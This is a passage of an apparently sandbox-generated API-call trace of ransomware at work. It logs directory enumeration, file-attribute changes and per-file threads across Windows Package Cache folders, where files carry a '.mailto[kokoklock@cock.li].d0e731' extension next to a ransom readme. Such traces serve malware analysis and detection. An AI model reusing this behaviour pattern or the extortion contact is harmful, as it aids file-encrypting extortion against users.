Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0169.198] RtlExitUserThread (Status=0x0) Thread: id = 1780 os_tid = 0xe94 [0169.199] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.201] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.201] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.201] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0169.201] RtlExitUserThread (Status=0x0) Thread: id = 1781 os_tid = 0xe98 [0169.202] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.203] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.203] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f89078) returned 1 [0169.203] RtlExitUserThread (Status=0x0) Thread: id = 1782 os_tid = 0xe9c [0169.204] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.204] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.205] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.205] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.205] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90640) returned 1 [0169.205] RtlExitUserThread (Status=0x0) Thread: id = 1783 os_tid = 0xea0 [0169.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f83cf8 [0169.206] wcscpy (in: _Dest=0x2f83cf8, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0169.206] wcscat (in: _Dest=0x2f83cf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0169.206] wcscat (in: _Dest=0x2f83cf8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0169.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe25e0 [0169.206] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0169.207] wcscmp (_String1=".", _String2=".") returned 0 [0169.207] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.207] wcscmp (_String1="..", _String2=".") returned 1 [0169.207] wcscmp (_String1="..", _String2="..") returned 0 [0169.207] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.208] wcscmp (_String1="packages", _String2=".") returned 1 [0169.208] wcscmp (_String1="packages", _String2="..") returned 1 [0169.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x30249d0 [0169.208] wcscpy (in: _Dest=0x30249d0, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0169.208] wcscat (in: _Dest=0x30249d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0169.208] wcscat (in: _Dest=0x30249d0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0171.055] Sleep (dwMilliseconds=0x1) [0171.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30249d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0171.062] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.062] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0171.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25e0) returned 1 [0171.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83cf8) returned 1 [0171.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e600) returned 1 [0171.062] RtlExitUserThread (Status=0x0) Thread: id = 1784 os_tid = 0xea4 [0169.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa29f8 [0169.208] wcscpy (in: _Dest=0x2fa29f8, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0169.208] wcscat (in: _Dest=0x2fa29f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0169.208] wcscat (in: _Dest=0x2fa29f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0169.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0169.208] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x87a42620, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87a42620, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80360 [0169.210] wcscmp (_String1=".", _String2=".") returned 0 [0169.210] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x87a42620, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87a42620, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.210] wcscmp (_String1="..", _String2=".") returned 1 [0169.210] wcscmp (_String1="..", _String2="..") returned 0 [0169.210] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879f61cc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x879f61cc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x879f61cc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.210] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.211] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.211] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x879f61cc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STATER~1.D0E")) returned 1 [0169.211] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.211] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.211] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4a30 [0169.211] wcscpy (in: _Dest=0x2fc4a30, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0169.211] wcscat (in: _Dest=0x2fc4a30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0169.211] wcscat (in: _Dest=0x2fc4a30, _Source="state.rsm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0171.055] Sleep (dwMilliseconds=0x1) [0171.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0171.172] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x87a42620, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6f528, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VCREDI~1.D0E")) returned 1 [0171.172] wcscmp (_String1="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.172] wcscmp (_String1="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.172] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f84d18 [0171.172] wcscpy (in: _Dest=0x2f84d18, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0171.172] wcscat (in: _Dest=0x2f84d18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0171.172] wcscat (in: _Dest=0x2f84d18, _Source="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" [0171.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0171.173] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x87a42620, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6f528, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VCREDI~1.D0E")) returned 0 [0171.173] FindClose (in: hFindFile=0x2f80360 | out: hFindFile=0x2f80360) returned 1 [0171.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0171.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa29f8) returned 1 [0171.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5398) returned 1 [0171.173] RtlExitUserThread (Status=0x0) Thread: id = 1785 os_tid = 0xea8 [0169.211] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f83db0 [0169.211] wcscpy (in: _Dest=0x2f83db0, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0169.211] wcscat (in: _Dest=0x2f83db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0169.211] wcscat (in: _Dest=0x2f83db0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0169.211] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2ab0 [0169.211] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f803a0 [0169.214] wcscmp (_String1=".", _String2=".") returned 0 [0169.214] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.214] wcscmp (_String1="..", _String2=".") returned 1 [0169.214] wcscmp (_String1="..", _String2="..") returned 0 [0169.214] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.214] wcscmp (_String1="packages", _String2=".") returned 1 [0169.214] wcscmp (_String1="packages", _String2="..") returned 1 [0169.214] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x3024310 [0169.214] wcscpy (in: _Dest=0x3024310, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0169.214] wcscat (in: _Dest=0x3024310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0169.214] wcscat (in: _Dest=0x3024310, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0171.055] Sleep (dwMilliseconds=0x1) [0171.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3024310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0171.170] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.170] FindClose (in: hFindFile=0x2f803a0 | out: hFindFile=0x2f803a0) returned 1 [0171.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2ab0) returned 1 [0171.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83db0) returned 1 [0171.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6eb80) returned 1 [0171.170] RtlExitUserThread (Status=0x0) Thread: id = 1786 os_tid = 0xeac [0169.214] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa2a98 [0169.214] wcscpy (in: _Dest=0x2fa2a98, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0169.214] wcscat (in: _Dest=0x2fa2a98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0169.214] wcscat (in: _Dest=0x2fa2a98, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0169.214] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2d18 [0169.214] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x879cfe8b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x879cfe8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f803e0 [0169.217] wcscmp (_String1=".", _String2=".") returned 0 [0169.217] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x879cfe8b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x879cfe8b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, 